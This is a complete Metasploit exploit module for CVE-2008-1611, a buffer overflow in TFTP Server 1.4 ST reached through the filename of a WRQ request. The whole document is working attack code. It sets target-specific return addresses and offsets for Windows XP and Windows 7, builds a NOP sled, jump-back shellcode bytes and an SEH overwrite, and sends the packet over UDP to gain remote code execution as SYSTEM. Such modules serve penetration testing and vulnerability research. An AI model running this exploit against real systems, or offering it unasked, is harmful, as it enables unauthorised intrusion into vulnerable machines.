TFTP Server for Windows 1.4 ST WRQ Buffer Overflow

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking
  include Msf::Exploit::Remote::Udp

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'TFTP Server for Windows 1.4 ST WRQ Buffer Overflow',
      'Description'     => %q{
          This module exploits a vulnerability found in TFTP Server 1.4 ST.  The flaw
        is due to the way TFTP handles the filename parameter extracted from a WRQ request.
        The server will append the user-supplied filename to TFTP server binary's path
        without any bounds checking, and then attempt to check this path with a fopen().
        Since this isn't a valid file path, fopen() returns null, which allows the
        corrupted data to be used in a strcmp() function, causing an access violation.

        Since the offset is sensitive to how the TFTP server is launched, you must know
        in advance if your victim machine launched the TFTP as a 'Service' or 'Standalone'
        , and then manually select your target accordingly. A successful attempt will lead
        to remote code execution under the context of SYSTEM if run as a service, or
        the user if run as a standalone. A failed attempt will result a denial-of-service.
      },
      'Author'          =>
        [
          'Mati Aharoni', #Initial discovery, PoC
          'Datacut'       #Metasploit
        ],
      'References'      =>
        [
          [ 'CVE', '2008-1611' ],
          [ 'OSVDB', '43785' ],
          [ 'BID', '18345' ],
          [ 'EDB', '5314' ]
        ],
      'DefaultOptions'  =>
        {
          'EXITFUNC' =>'seh',
        },
      'Payload'         =>
        {
          'Space'           => 600,
          'BadChars'        => "\x00\x2f",
          'StackAdjustment' => -3500
        },
      'Platform'        => 'win',
      'Targets'         =>
        [
          # datacut tested ok 19/04/12 on xp sp2 sp3, win 7 sp0 sp1.
          # possible may work for other service packs and or vista
          # Rets = P/P/R from tftpserversp.exe
          [ 'Windows XP SP2/SP3 EN Service Mode',       { 'Ret' => 0x416801 , 'Offset' => 1203} ],
          [ 'Windows XP SP2/SP3 EN Standalone Mode',    { 'Ret' => 0x416801 , 'Offset' => 1487} ],
          [ 'Windows 7 SP0/SP1 EN x64 Service Mode',    { 'Ret' => 0x416801 , 'Offset' => 1217} ],
          [ 'Windows 7 SP0/SP1 EN x64 Standalone Mode', { 'Ret' => 0x416801 , 'Offset' => 1501} ],
          [ 'Windows 7 SP0/SP1 EN x86 Service Mode',    { 'Ret' => 0x416801 , 'Offset' => 1223} ],
          [ 'Windows 7 SP0/SP1 EN x86 Standalone Mode', { 'Ret' => 0x416801 , 'Offset' => 1507} ]
        ],
      'Privileged'	=> false,
      'DisclosureDate'=> '2008-03-26',
      'DefaultTarget' => 4))  #TFTP is installed as a service

    register_options(
      [
        Opt::RPORT(69)
      ])
  end


  def exploit
    connect_udp

    nops = make_nops(50)
    lead = rand_text_alphanumeric(target['Offset'] - payload.encoded.length - nops.length)
    near = "\xe9\x80\xfd\xff\xff"    #jump back 640 bytes to the nop sled
    nseh = "\xeb\xf9" + make_nops(2) #jump back 7 bytes to the long jump

    evil = lead + nops + payload.encoded + near + nseh + [target.ret].pack('V')
    mode = "netascii"

    #Send the WRQ packet (header "\x00\x02")
    sploit = "\x00\x02" + evil + "\0" + mode +"\0"

    udp_sock.put(sploit)

    handler
    disconnect_udp
  end
end